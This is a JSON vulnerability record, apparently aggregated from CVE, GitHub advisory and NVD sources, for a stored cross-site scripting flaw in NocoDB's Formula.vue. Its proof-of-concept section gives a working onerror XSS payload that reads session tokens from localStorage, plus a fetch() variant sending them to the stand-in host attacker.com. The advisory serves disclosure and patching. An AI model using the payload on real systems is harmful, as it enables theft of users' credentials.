{"id":"CVE-2023-49781","aliases":["CVE-2023-49781","GHSA-h6r4-xvw6-jc5h"],"related":[],"kind":"vulnerability","state":"published","title":"NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue","summary":"NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.","source":"cvelist"},{"lang":"en","text":"### Summary\nA stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.\n\n### Details\nThe nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror=\"malicious javascripts\"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.\n\n### PoC\nStep 1: Attacker login the nocodb and creates a table with two fields, \"T\" and \"F\". The type of field \"T\" is \"SingleLineText\", and the type of the \"F\" is \"Fomula\" with the formula content {T}\nStep 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)\nStep 3: The attacker clicks the \"Share\" button and enables public viewing, then copies the shared link and sends it to the victims\nStep 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage\n\nThe attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website.\n\n### Impact\nStealing the credentials of NocoDB user that clicks the malicious link.","format":"markdown","source":"ghsa"},{"lang":"es","text":"NocoDB es un software para crear bases de datos como hojas de cálculo. Antes de 0.202.9, existía una vulnerabilidad de Cross Site Scripting almacenado dentro de la funcionalidad de comentarios de celda virtual de Fórmula. El nc-gui/components/virtual-cell/Formula.vue muestra una etiqueta v-html con el valor de \"urls\" cuyo contenido es procesado por la función replaceUrlsWithLink(). Esta función reconoce el patrón URI::(XXX) y crea una etiqueta de hipervínculo <a rel=\"nofollow\"> con href=XXX. Sin embargo, deja todos los demás contenidos fuera del patrón URI::(XXX) sin cambios. Esta vulnerabilidad está solucionada en 0.202.9.</a>","source":"nvd"}],"published":"2024-05-13T18:54:54.196Z","modified":"2026-06-17T06:36:27.293Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","score":7.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","score":7.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","score":7.3,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"rating":"HIGH"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 0.202.9","status":"affected"}],"vendor":"nocodb","product":"nocodb","source":"cvelist"},{"ranges":[{"version":"*","status":"affected"}],"vendor":"nocodb","product":"nocodb","cpe":"cpe:2.3:a:nocodb:nocodb:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.202.9"}],"ecosystem":"npm","package":"nocodb","purl":"pkg:npm/nocodb","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.202.9"}],"vendor":"nocodb","product":"nocodb","cpe":"cpe:2.3:a:nocodb:nocodb:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/nocodb/nocodb/security/advisories/GHSA-h6r4-xvw6-jc5h","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nocodb/nocodb/commit/7f58ce3726dfec71537d8b80474a0f95a48a1574","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49781","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nocodb/nocodb","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-05-13T19:49:05.633Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-49781","url":"https://www.cve.org/CVERecord?id=CVE-2023-49781","licence":"CVE Terms of Use","modified":"2024-08-02T22:01:25.824Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h6r4-xvw6-jc5h","url":"https://github.com/advisories/GHSA-h6r4-xvw6-jc5h","licence":"CC-BY-4.0","modified":"2025-08-21T19:15:36.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-49781","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49781","licence":"Public domain","modified":"2026-06-17T06:36:27.293Z"}],"updatedAt":"2026-11-25T22:58:33.909Z","epss":{"score":0.00606,"percentile":0.50367,"date":"2026-12-01T12:00:22.000Z"}}